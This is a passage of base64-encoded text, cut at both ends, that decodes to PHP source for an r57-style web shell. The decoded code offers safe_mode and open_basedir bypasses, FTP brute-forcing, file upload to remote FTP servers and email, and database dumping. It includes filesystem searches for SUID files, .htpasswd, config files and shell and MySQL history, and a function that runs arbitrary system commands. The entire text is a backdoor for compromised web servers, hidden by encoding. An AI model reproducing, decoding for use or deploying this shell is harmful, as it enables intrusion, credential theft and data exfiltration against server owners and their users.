Xh0MzInPT4nRXZhbCBQSFAgY29kZScsDQonZW5nX3RleHQzMyc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIgd2l0aCBjVVJMIGZ1bmN0aW9ucycsDQonZW5nX2J1dHQ4JyA9PidUZXN0JywNCidlbmdfdGV4dDM0Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB3aXRoIGluY2x1ZGUgZnVuY3Rpb24nLA0KJ2VuZ190ZXh0MzUnPT4nVGVzdCBieXBhc3Mgd2l0aCBsb2FkIGZpbGUgaW4gbXlzcWwgLSBlZGl0ZWQgYnkgQWx1Y2FyJywNCidlbmdfdGV4dDM2Jz0+J0RiIC4gVGFibGUnLA0KJ2VuZ190ZXh0MzcnPT4nTG9naW4nLA0KJ2VuZ190ZXh0MzgnPT4nUGFzc3dvcmQnLA0KJ2VuZ190ZXh0MzknPT4nRGF0YWJhc2UnLA0KJ2VuZ190ZXh0NDAnPT4nRHVtcCBkYXRhYmFzZSB0YWJsZScsDQonZW5nX2J1dHQ5JyA9PidEdW1wJywNCidlbmdfdGV4dDQxJz0+J1NhdmUgZHVtcCBpbiBmaWxlJywNCidlbmdfdGV4dDQyJz0+J0VkaXQgZmlsZXMnLA0KJ2VuZ190ZXh0NDMnPT4nRmlsZSBmb3IgZWRpdCcsDQonZW5nX2J1dHQxMCc9PidTYXZlJywNCidlbmdfdGV4dDQ0Jz0+J0NhblwndCBlZGl0IGZpbGUhIE9ubHkgcmVhZCBhY2Nlc3MhJywNCidlbmdfdGV4dDQ1Jz0+J0ZpbGUgc2F2ZWQnLA0KJ2VuZ190ZXh0NDYnPT4nU2hvdyBwaHBpbmZvKCknLA0KJ2VuZ190ZXh0NDcnPT4nU2hvdyB2YXJpYWJsZXMgZnJvbSBwaHAuaW5pJywNCidlbmdfdGV4dDQ4Jz0+J0RlbGV0ZSB0ZW1wIGZpbGVzJywNCidlbmdfYnV0dDExJz0+J0VkaXQgZmlsZScsDQonZW5nX3RleHQ0OSc9PidEZWxldGUgc2NyaXB0IGZyb20gc2VydmVyJywNCidlbmdfdGV4dDUwJz0+J1ZpZXcgY3B1IGluZm8nLA0KJ2VuZ190ZXh0NTEnPT4nVmlldyBtZW1vcnkgaW5mbycsDQonZW5nX3RleHQ1Mic9PidGaW5kIHRleHQnLA0KJ2VuZ190ZXh0NTMnPT4nSW4gZGlycycsDQonZW5nX3RleHQ1NCc9PidGaW5kIHRleHQgaW4gZmlsZXMnLA0KJ2VuZ19idXR0MTInPT4nRmluZCcsDQonZW5nX3RleHQ1NSc9PidPbmx5IGluIGZpbGVzJywNCidlbmdfdGV4dDU2Jz0+J05vdGhpbmcgOignLA0KJ2VuZ190ZXh0NTcnPT4nQ3JlYXRlL0RlbGV0ZSBGaWxlL0RpcicsDQonZW5nX3RleHQ1OCc9PiduYW1lJywNCidlbmdfdGV4dDU5Jz0+J2ZpbGUnLA0KJ2VuZ190ZXh0NjAnPT4nZGlyJywNCidlbmdfYnV0dDEzJz0+J0NyZWF0ZS9EZWxldGUnLA0KJ2VuZ190ZXh0NjEnPT4nRmlsZSBjcmVhdGVkJywNCidlbmdfdGV4dDYyJz0+J0RpciBjcmVhdGVkJywNCidlbmdfdGV4dDYzJz0+J0ZpbGUgZGVsZXRlZCcsDQonZW5nX3RleHQ2NCc9PidEaXIgZGVsZXRlZCcsDQonZW5nX3RleHQ2NSc9PidDcmVhdGUnLA0KJ2VuZ190ZXh0NjYnPT4nRGVsZXRlJywNCidlbmdfdGV4dDY3Jz0+J0Nob3duL0NoZ3JwL0NobW9kJywNCidlbmdfdGV4dDY4Jz0+J0NvbW1hbmQnLA0KJ2VuZ190ZXh0NjknPT4ncGFyYW0xJywNCidlbmdfdGV4dDcwJz0+J3BhcmFtMicsDQonZW5nX3RleHQ3MSc9PiJTZWNvbmQgY29tbWFuZHMgcGFyYW0gaXM6XHJcbi0gZm9yIENIT1dOIC0gbmFtZSBvZiBuZXcgb3duZXIgb3IgVUlEXHJcbi0gZm9yIENIR1JQIC0gZ3JvdXAgbmFtZSBvciBHSURcclxuLSBmb3IgQ0hNT0QgLSAwNzc3LCAwNzU1Li4uIiwNCidlbmdfdGV4dDcyJz0+J1RleHQgZm9yIGZpbmQnLA0KJ2VuZ190ZXh0NzMnPT4nRmluZCBpbiBmb2xkZXInLA0KJ2VuZ190ZXh0NzQnPT4nRmluZCBpbiBmaWxlcycsDQonZW5nX3RleHQ3NSc9PicqIHlvdSBjYW4gdXNlIHJlZ2V4cCcsDQonZW5nX3RleHQ3Nic9PidTZWFyY2ggdGV4dCBpbiBmaWxlcyB2aWEgZmluZCcsDQonZW5nX3RleHQ4MCc9PidUeXBlJywNCidlbmdfdGV4dDgxJz0+J05ldCcsDQonZW5nX3RleHQ4Mic9PidEYXRhYmFzZXMnLA0KJ2VuZ190ZXh0ODMnPT4nUnVuIFNRTCBxdWVyeScsDQonZW5nX3RleHQ4NCc9PidTUUwgcXVlcnknLA0KJ2VuZ190ZXh0ODUnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggY29tbWFuZHMgZXhlY3V0ZSB2aWEgTVNTUUwgc2VydmVyJywNCidlbmdfdGV4dDg2Jz0+J0Rvd25sb2FkIGZpbGVzIGZyb20gc2VydmVyJywNCidlbmdfYnV0dDE0Jz0+J0Rvd25sb2FkJywNCidlbmdfdGV4dDg3Jz0+J0Rvd25sb2FkIGZpbGVzIGZyb20gcmVtb3RlIGZ0cC1zZXJ2ZXInLA0KJ2VuZ190ZXh0ODgnPT4nRlRQLXNlcnZlcjpwb3J0JywNCidlbmdfdGV4dDg5Jz0+J0ZpbGUgb24gZnRwJywNCidlbmdfdGV4dDkwJz0+J1RyYW5zZmVyIG1vZGUnLA0KJ2VuZ190ZXh0OTEnPT4nQXJjaGl2YXRpb24nLA0KJ2VuZ190ZXh0OTInPT4nd2l0aG91dCBhcmNoaXZhdGlvbicsDQonZW5nX3RleHQ5Myc9PidGVFAnLA0KJ2VuZ190ZXh0OTQnPT4nRlRQLWJydXRlZm9yY2UnLA0KJ2VuZ190ZXh0OTUnPT4nVXNlcnMgbGlzdCcsDQonZW5nX3RleHQ5Nic9PidDYW5cJ3QgZ2V0IHVzZXJzIGxpc3QnLA0KJ2VuZ190ZXh0OTcnPT4nY2hlY2tlZDogJywNCidlbmdfdGV4dDk4Jz0+J3N1Y2Nlc3M6ICcsDQonZW5nX3RleHQ5OSc9PicqIHVzZSB1c2VybmFtZSBmcm9tIC9ldGMvcGFzc3dkIGZvciBmdHAgbG9naW4gYW5kIHBhc3N3b3JkJywNCidlbmdfdGV4dDEwMCc9PidTZW5kIGZpbGUgdG8gcmVtb3RlIGZ0cCBzZXJ2ZXInLA0KJ2VuZ190ZXh0MTAxJz0+J1VzZSByZXZlcnNlICh1c2VyIC0+IHJlc3UpIGxvZ2luIGZvciBwYXNzd29yZCcsDQonZW5nX3RleHQxMDInPT4nTWFpbCcsDQonZW5nX3RleHQxMDMnPT4nU2VuZCBlbWFpbCcsDQonZW5nX3RleHQxMDQnPT4nU2VuZCBmaWxlIHRvIGVtYWlsJywNCidlbmdfdGV4dDEwNSc9PidUbycsDQonZW5nX3RleHQxMDYnPT4nRnJvbScsDQonZW5nX3RleHQxMDcnPT4nU3ViaicsDQonZW5nX2J1dHQxNSc9PidTZW5kJywNCidlbmdfdGV4dDEwOCc9PidNYWlsJywNCidlbmdfdGV4dDEwOSc9PidIaWRlJywNCidlbmdfdGV4dDExMCc9PidTaG93JywNCidlbmdfdGV4dDExMSc9PidTUUwtU2VydmVyIDogUG9ydCcsDQonZW5nX3RleHQxMTInPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggZnVuY3Rpb24gbWJfc2VuZF9tYWlsJywNCidlbmdfdGV4dDExMyc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIHZpZXcgZGlyIGxpc3QgdmlhIGltYXBfbGlzdCcsDQonZW5nX3RleHQxMTQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlLCB2aWV3IGZpbGUgY29udGVzdCB2aWEgaW1hcF9ib2R5JywNCidlbmdfdGV4dDExNSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIGNvcHkgZmlsZSB2aWEgY29tcHJlc3MuemxpYjovLyBpbiBmdW5jdGlvbiBjb3B5KCknLA0KJ2VuZ190ZXh0MTE2Jz0+J0NvcHkgZnJvbScsDQonZW5nX3RleHQxMTcnPT4ndG8nLA0KJ2VuZ190ZXh0MTE4Jz0+J0ZpbGUgY29waWVkJywNCidlbmdfdGV4dDExOSc9PidDYW50IGNvcHkgZmlsZScsDQonZW5nX3RleHQxMjAnPT4nU1FMLVNlcnZlcicsDQonZW5nX3RleHQxMjEnPT4nQnlwYXNzIHBocCA1LjIuNicsDQonZW5nX3RleHQxMjInPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCB2aWV3IGRpciBsaXN0IHZpYSBmb3BlbiAoUEhQIHY0LjQuMCBtZW1vcnkgbGVhaykgYnkgTlNUJywNCidlbmdfdGV4dDEyMyc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIHZpZXcgZGlyIGxpc3QgdmlhIHJlYWxwYXRoKCkgKFBIUCA8PSA1LjIuNCknLA0KJ2VuZ190ZXh0MTI0Jz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgY3JlYXRlIGZpbGUgdmlhIHNlc3Npb25fc2F2ZV9wYXRoW05VTEwtYnl0ZV0gKFBIUCA8PSA1LjIuMCknLA0KJ2VuZ190ZXh0MTI1Jz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgY3JlYXRlIGZpbGUgdmlhIHNlc3Npb25fc2F2ZV9wYXRoKFRNUERJUikgKFBIUCA8PSA1LjIuNCknLA0KJ2VuZ190ZXh0MTI2Jz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgYWRkIGRhdGEgdG8gZmlsZSB2aWEgcmVhZGZpbGUocGhwOi8vKSAoUEhQIDw9IDUuMi4xLCA0LjQuNCknLA0KJ2VuZ190ZXh0MTI3Jz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgY3JlYXRlIGZpbGUgdmlhIGZvcGVuKHNycGF0aDovLykgKFBIUCB2NS4yLjApICcsDQonZW5nX3RleHQxMjgnPT4nRGF0YScsDQonZW5nX3RleHQxMjknPT4nRGljdGlvbmFyeScsDQonZW5nX3RleHQxMzAnPT4nRG9TJywNCidlbmdfdGV4dDEzMSc9PidEYW5nZXIhIFdlYi1kYWVtb24gY3Jhc2ggcG9zc2libGUuJywNCidlbmdfZXJyMCc9PidFcnJvciEgQ2FuXCd0IHdyaXRlIGluIGZpbGUgJywNCidlbmdfZXJyMSc9PidFcnJvciEgQ2FuXCd0IHJlYWQgZmlsZSAnLA0KJ2VuZ19lcnIyJz0+J0Vycm9yISBDYW5cJ3QgY3JlYXRlICcsDQonZW5nX2VycjMnPT4nRXJyb3IhIENhblwndCBjb25uZWN0IHRvIGZ0cCcsDQonZW5nX2VycjQnPT4nRXJyb3IhIENhblwndCBsb2dpbiBvbiBmdHAgc2VydmVyJywNCidlbmdfZXJyNSc9PidFcnJvciEgQ2FuXCd0IGNoYW5nZSBkaXIgb24gZnRwJywNCidlbmdfZXJyNic9PidFcnJvciEgQ2FuXCd0IHNlbnQgbWFpbCcsDQonZW5nX2VycjcnPT4nTWFpbCBzZW5kJywNCidlbmdfdGV4dDIwMCc9PidyZWFkIGZpbGUgZnJvbSB2dWwgY29weSgpJywNCidlbmdfdGV4dDIwMic9Pid3aGVyZSBmaWxlIGluIHNlcnZlcicsDQonZW5nX3RleHQzMDAnPT4ncmVhZCBmaWxlIGZyb20gdnVsIGN1cmwoKScsDQonZW5nX3RleHQyMDMnPT4ncmVhZCBmaWxlIGZyb20gdnVsIGluaV9yZXN0b3JlKCknLA0KJ2VuZ190ZXh0MjA0Jz0+J3dyaXRlIHNoZWxsIGZyb20gdnVsIGVycm9yX2xvZygpJywNCidlbmdfdGV4dDIwNSc9Pid3cml0ZSBzaGVsbCBpbiB0aGlzIHNpZGUnLA0KJ2VuZ190ZXh0MjA2Jz0+J3JlYWQgZGlyJywNCidlbmdfdGV4dDIwNyc9PidyZWFkIGRpciBmcm9tIHZ1bCByZWdfZ2xvYicsDQonZW5nX3RleHQyMDgnPT4nZXhlY3V0ZSB3aXRoIGZ1bmN0aW9uJywNCidlbmdfdGV4dDIwOSc9PidyZWFkIGRpciBmcm9tIHZ1bCByb290JywNCidlbmdfdGV4dDIxMCc9PidEZVplbmRlciAnLA0KJ2VuZ190ZXh0MjExJz0+Jzo6c2FmZV9tb2RlIG9mZjo6JywNCidlbmdfdGV4dDIxMic9PidDbG9zZSBzYWZlX21vZGUgd2l0aCBwaHAuaW5pJywNCidlbmdfdGV4dDIxMyc9PidDbG9zZSBzZWN1cml0eV9tb2Qgd2l0aCAuaHRhY2Nlc3MnLA0KJ2VuZ190ZXh0MjE0Jz0+J0FkbWluIG5hbWUnLA0KJ2VuZ190ZXh0MjE1Jz0+J0lSQyBzZXJ2ZXIgJywNCidlbmdfdGV4dDIxNic9Picjcm9vbSBuYW1lJywNCidlbmdfdGV4dDIxNyc9PidzZXJ2ZXInLA0KJ2VuZ190ZXh0MjE4Jz0+J3dyaXRlIGluaS5waHAgZmlsZSB0byBjbG9zZSBzYWZlX21vZGUgd2l0aCBpbmlfcmVzdG9yZSB2dWwnLA0KJ2VuZ190ZXh0MjE5Jz0+J0dldCBmaWxlIHRvIHNlcnZlciBpbiBzYWZlX21vZGUgYW5kIGNoYW5nZSBuYW1lJywNCidlbmdfdGV4dDIyMCc9PidzaG93IGZpbGUgd2l0aCBzeW1saW5rIHZ1bCcsDQonZW5nX3RleHQyMjEnPT4nemlwIGZpbGUgaW4gc2VydmVyIHRvIGRvd25sb2FkJywNCidlbmdfdGV4dDIyMic9PicyIHN5bWxpbmsgdXNlIHZ1bCcsDQonZW5nX3RleHQyMjMnPT4ncmVhZCBmaWxlIGZyb20gZnVuY3V0aW9uJywNCidlbmdfdGV4dDIyNCc9PidyZWFkIGZpbGUgZnJvbSBQTFVHSU4nLA0KJ2VuZ190ZXh0MjI1JyA9PiAnaHRhY2Nlc3Mgc2FmZW1vZGUgYW5kIG9wZW5fYmFzZWRpciBieXBhc3MnLA0KJ2VuZ190ZXh0MjI2JyA9PiAnV3JpdGUgdG8gZmlsZScsDQonZW5nX3RleHQyMjcnID0+ICdDb250ZW50JywNCidlbmdfdGV4dDIyOCcgPT4gJ1NTSSBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDIyOScgPT4gJ0NPTSBmdW5jdGlvbnMgc2FmZV9tb2RlIGFuZCBkaXNhYmxlX2Z1bmN0aW9uIGJ5cGFzcycsDQonZW5nX3RleHQyMzAnID0+ICdpb25DdWJlIGV4dGVuc2lvbiBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDIzMScgPT4gJ3dpbjMyc3RkIGV4dGVuc2lvbiBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDIzMicgPT4gJ3dpbjMyc2VydmljZSBleHRlbnNpb24gc2FmZV9tb2RlIGJ5cGFzcycsDQonZW5nX3RleHQyMzMnID0+ICdwZXJsIGV4dGVuc2lvbiBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDIzNCcgPT4gJ0ZGSSBleHRlbnNpb24gc2FmZV9tb2RlIGJ5cGFzcycsDQonZW5nX3RleHQxMzcnPT4nVXNlZnVsJywNCidlbmdfdGV4dDEzOCc9PidEYW5nZXJvdXMnLA0KJ2VuZ190ZXh0MTQyJz0+J0Rvd25sb2FkZXJzJywNCidlbmdfYnV0dDY1Jz0+J1dyaXRlJywNCik7DQovKg0KPz8/Pz8/ID8/Pz8/Pw0KPz8/Pz8/Pz8/ID8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8/Pz8gPz8/Pz8/ID8/Pz8/ID8gPz8/LT8/ID8/Pz8/Py4gKCA/Pz8/Pz8/ID8/Pz8/Pz8/PyA/Pz8/ID8/Pz8/Pz8/PyA/Pz8/ICkNCj8/ID8/Pz8/PyA/Pz8/ID8/Pz8/Pz8/PyA/Pz8gPz8/Pz8/Pz8gPz8/Pz8/Py4NCiovDQokYWxpYXNlcz1hcnJheSgNCidmaW5kIHN1aWQgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scycsDQonZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMnLA0KJ2ZpbmQgc2dpZCBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzJywNCidmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scycsDQonZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCcsDQonZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCcsDQonZmluZCBjb25maWcqIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lICJjb25maWcqIicsDQonZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lICJjb25maWcqIicsDQonZmluZCBhbGwgd3JpdGFibGUgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLXBlcm0gLTIgLWxzJywNCidmaW5kIGFsbCB3cml0YWJsZSBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzJz0+J2ZpbmQgLyAgLXR5cGUgZCAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBkIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgYW5kIGZpbGVzJz0+J2ZpbmQgLyAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXBlcm0gLTIgLWxzJywNCidmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCcsDQonZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCcsDQonZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCcsDQonZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkJywNCidmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnknLA0KJ2ZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5JywNCidmaW5kIGFsbCAubXlzcWxfaGlzdG9yeSBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAubXlzcWxfaGlzdG9yeScsDQonZmluZCAubXlzcWxfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAubXlzcWxfaGlzdG9yeScsDQonZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYycsDQonZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjJywNCidsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSc9Pidsc2F0dHIgLXZhJywNCidzaG93IG9wZW5lZCBwb3J0cyc9PiduZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuJywNCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tJz0+J2xzIC1sYScNCik7DQokdGFibGVfdXAxICA9ICI8dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjaw0KPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgY2xhc3M9dHQgYWxpZ249Y2VudGVyPjo6ICI7DQokdGFibGVfdXAyICA9ICIgOjo8L2Rpdj48L2I+PC9mb250PjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPW1haW4+IjsNCiR0YWJsZV91cDMgID0gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPUJsYWNrPjx0cj48dGQgY2xhc3M9bWFpbj4iOw0KJHRhYmxlX2VuZDEgPSAiPC90ZD48L3RyPiI7DQokYXJyb3cgPSAiIDxmb250IGZhY2U9V2ViZGluZ3MgY29sb3I9V2hpdGU+NDwvZm9udD4iOw0KJGxiID0gIjxmb250IGNvbG9yPVdoaXRlPls8L2ZvbnQ+IjsNCiRyYiA9ICI8Zm9udCBjb2xvcj1XaGl0ZT5dPC9mb250PiI7DQokZm9udCA9ICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iOw0KJHRzID0gIjx0YWJsZSBjbGFzcz10YWJsZTEgd2lkdGg9MTAwJSBhbGlnbj1jZW50ZXI+IjsNCiR0ZSA9ICI8L3RhYmxlPiI7DQokZnMgPSAiPGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPiI7DQokZmUgPSAiPC9mb3JtPiI7DQoNCmlmKGlzc2V0KCRfR0VUWyd1c2VycyddKSkNCiB7DQogaWYoISR1c2Vycz1nZXRfdXNlcnMoKSkgeyBlY2hvICI8Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoaXRlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk2J10uIjwvZm9udD48L2NlbnRlcj4iOyB9DQogZWxzZQ0KICB7DQogIGVjaG8gJzxjZW50ZXI+JzsNCiAgZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpIHsgZWNobyAkdXNlci4iPGJyPiI7IH0NCiAgZWNobyAnPC9jZW50ZXI+JzsNCiAgfQ0KIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7IGRpZSgpOw0KIH0NCg0KaWYgKCFlbXB0eSgkX1BPU1RbJ2RpciddKSkgeyBAY2hkaXIoJF9QT1NUWydkaXInXSk7IH0NCiRkaXIgPSBAZ2V0Y3dkKCk7DQokdW5peCA9IDA7DQppZihzdHJsZW4oJGRpcik+MSAmJiAkZGlyWzFdPT0iOiIpICR1bml4PTA7IGVsc2UgJHVuaXg9MTsNCmlmKGVtcHR5KCRkaXIpKQ0KIHsNCiAkb3MgPSBnZXRlbnYoJ09TJyk7DQogaWYoZW1wdHkoJG9zKSl7ICRvcyA9IHBocF91bmFtZSgpOyB9DQogaWYoZW1wdHkoJG9zKSl7ICRvcyA9Ii0iOyAkdW5peD0xOyB9DQogZWxzZQ0KICAgIHsNCiAgICBpZihAZXJlZ2koIl53aW4iLCRvcykpIHsgJHVuaXggPSAwOyB9DQogICAgZWxzZSB7ICR1bml4ID0gMTsgfQ0KICAgIH0NCiB9DQppZighZW1wdHkoJF9QT1NUWydzX2RpciddKSAmJiAhZW1wdHkoJF9QT1NUWydzX3RleHQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ10gPT0gInNlYXJjaF90ZXh0IikNCiAgew0KICAgIGVjaG8gJGhlYWQ7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsnc19tYXNrJ10pICYmICFlbXB0eSgkX1BPU1RbJ20nXSkpIHsgJHNyID0gbmV3IFNlYXJjaFJlc3VsdCgkX1BPU1RbJ3NfZGlyJ10sJF9QT1NUWydzX3RleHQnXSwkX1BPU1RbJ3NfbWFzayddKTsgfQ0KICAgIGVsc2UgeyAkc3IgPSBuZXcgU2VhcmNoUmVzdWx0KCRfUE9TVFsnc19kaXInXSwkX1BPU1RbJ3NfdGV4dCddKTsgfQ0KICAgICRzci0+U2VhcmNoVGV4dCgwLDApOw0KICAgICRyZXMgPSAkc3ItPkdldFJlc3VsdEZpbGVzKCk7DQogICAgJGZvdW5kID0gJHNyLT5HZXRNYXRjaGVzQ291bnQoKTsNCiAgICAkdGl0bGVzID0gJHNyLT5HZXRUaXRsZXMoKTsNCiAgICAkciA9ICIiOw0KICAgIGlmKCRmb3VuZCA+IDApDQogICAgew0KICAgICAgJHIgLj0gIjxUQUJMRSB3aWR0aD0xMDAlPiI7DQogICAgICBmb3JlYWNoKCRyZXMgYXMgJGZpbGU9PiR2KQ0KICAgICAgew0KICAgICAgICAkciAuPSAiPFRSPiI7DQogICAgICAgICRyIC49ICI8VEQgY2xhc3M9bWFpbiBjb2xzcGFuPTI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii53cygzKTsNCiAgICAgICAgJHIgLj0gKCEkdW5peCk/IHN0cl9yZXBsYWNlKCIvIiwiXFwiLCRmaWxlKSA6ICRmaWxlOw0KICAgICAgICAkciAuPSAiPC9iPjwvZm9udD48LyBURD4iOw0KICAgICAgICAkciAuPSAiPC9UUj4iOw0KICAgICAgICBmb3JlYWNoKCR2IGFzICRhPT4kYikNCiAgICAgICAgew0KICAgICAgICAgICRyIC49ICI8VFI+IjsNCiAgICAgICAgICAkciAuPSAiPFREIGNsYXNzPW1haW4gYWxpZ249Y2VudGVyPjxCPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGEuIjwvZm9udD48L0I+PC9URD4iOw0KICAgICAgICAgICRyIC49ICI8VEQgY2xhc3M9bWFpbj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iLndzKDIpLiRiLiI8L2ZvbnQ+PC9URD4iOw0KICAgICAgICAgICRyIC49ICI8L1RSPlxuIjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgJHIgLj0gIjwvVEFCTEU+IjsNCiAgICBlY2hvICRyOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgZWNobyAiPFAgYWxpZ249Y2VudGVyPjxCPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU2J10uIjwvQj48L2ZvbnQ+PC9QPiI7DQogICAgfQ0KICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOw0KICBkaWUoKTsNCiAgfQ0KaWYoISRzYWZlX21vZGUgJiYgc3RycG9zKGV4KCJlY2hvIGFiY3I1NyIpLCJyNTciKSE9MykgeyAkc2FmZV9tb2RlID0gMTsgfQ0KJFNFUlZFUl9TT0ZUV0FSRSA9IGdldGVudignU0VSVkVSX1NPRlRXQVJFJyk7DQppZihlbXB0eSgkU0VSVkVSX1NPRlRXQVJFKSl7ICRTRVJWRVJfU09GVFdBUkUgPSAiLSI7IH0NCmZ1bmN0aW9uIHdzKCRpKQ0Kew0KcmV0dXJuIEBzdHJfcmVwZWF0KCImbmJzcDsiLCRpKTsNCn0NCmZ1bmN0aW9uIGV4KCRjZmUpDQp7DQogJHJlcyA9ICcnOw0KIGlmICghZW1wdHkoJGNmZSkpDQogew0KICBpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkNCiAgIHsNCiAgICBAZXhlYygkY2ZlLCRyZXMpOw0KICAgICRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQogICB9DQogIGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkNCiAgIHsNCiAgICAkcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7DQogICB9DQogIGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKQ0KICAgew0KICAgI